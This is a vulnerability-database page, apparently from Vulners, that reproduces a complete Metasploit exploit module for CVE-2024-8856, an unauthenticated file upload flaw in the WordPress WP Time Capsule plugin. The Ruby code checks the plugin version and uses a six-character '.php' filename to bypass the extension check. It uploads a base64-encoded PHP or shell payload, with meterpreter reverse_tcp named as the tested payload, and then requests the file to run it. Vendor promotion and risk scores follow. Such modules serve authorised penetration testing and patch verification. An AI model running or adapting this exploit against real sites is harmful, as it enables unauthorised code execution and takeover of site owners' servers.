Lucene search
K

WordPress WP Time Capsule Arbitrary File Upload to RCE

🗓️ 13 Dec 2024 18:55:56Reported by Valentin Lobstein, Rein DaelmanType 
metasploit
 metasploit
🔗 www.rapid7.com👁 679 Views

Exploits WordPress WP Time Capsule file upload vulnerability for remote code execution.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress WP Time Capsule Arbitrary File Upload to RCE',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin
          (versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote
          code execution (RCE).

          The validation logic in the vulnerable function improperly checks for allowed extensions.
          If no valid extension is found, the check can be bypassed by using a filename of specific length
          (e.g., "00.php") matching the length of allowed extensions like ".crypt".
        },
        'Author' => [
          'Valentin Lobstein',  # Metasploit module
          'Rein Daelman'        # Vulnerability discovery
        ],
        'References' => [
          ['CVE', '2024-8856'],
          ['EDB', '52131'],
          ['URL', 'https://hacked.be/posts/CVE-2024-8856'],
          ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP In-Memory', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell', {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-11-15',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
  end

  def check
    return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?

    plugin_check = check_plugin_version_from_readme('wp-time-capsule', '1.22.22')
    case plugin_check.code
    when 'appears'
      return CheckCode::Appears('WP Time Capsule plugin appears to be vulnerable.')
    when 'safe'
      return CheckCode::Safe('WP Time Capsule plugin is patched or not vulnerable.')
    end

    CheckCode::Unknown('No vulnerable plugins were detected.')
  end

  def exploit
    base_path = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-time-capsule', 'wp-tcapsule-bridge', 'upload', 'php')
    upload_path = normalize_uri(base_path, 'index.php')

    # Generate random filename matching constraints (6 characters total, ending in .php)
    filename_prefix = Rex::Text.rand_text_alphanumeric(2)
    payload_name = "#{filename_prefix}.php"

    random_mime_type = Faker::File.mime_type

    phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    b64_payload = '<?php ' + framework.encoders.create('php/base64').encode(phped_payload)

    register_files_for_cleanup(payload_name)

    vprint_status("Uploading payload: #{payload_name} with MIME type: #{random_mime_type}...")

    mime = Rex::MIME::Message.new
    mime.add_part(b64_payload, random_mime_type, nil, "form-data; name=files; filename=#{payload_name}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => upload_path,
      'ctype' => 'multipart/form-data; boundary=' + mime.bound,
      'data' => mime.to_s
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to upload payload')
    end

    vprint_good('Payload uploaded successfully. Parsing response...')

    json_response = res.get_json_document
    url = json_response.dig('files', 0, 'url')

    fail_with(Failure::UnexpectedReply, "Failed to extract URL from response. Response body: #{res.body}") if url.nil?

    vprint_status("Triggering the payload at: #{url}")
    send_request_cgi(
      'method' => 'GET',
      'uri' => URI(url).path
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jul 2026 19:01Current
8.3High risk
Vulners AI Score8.3
CVSS 3.19.8
EPSS0.93709
SSVC
679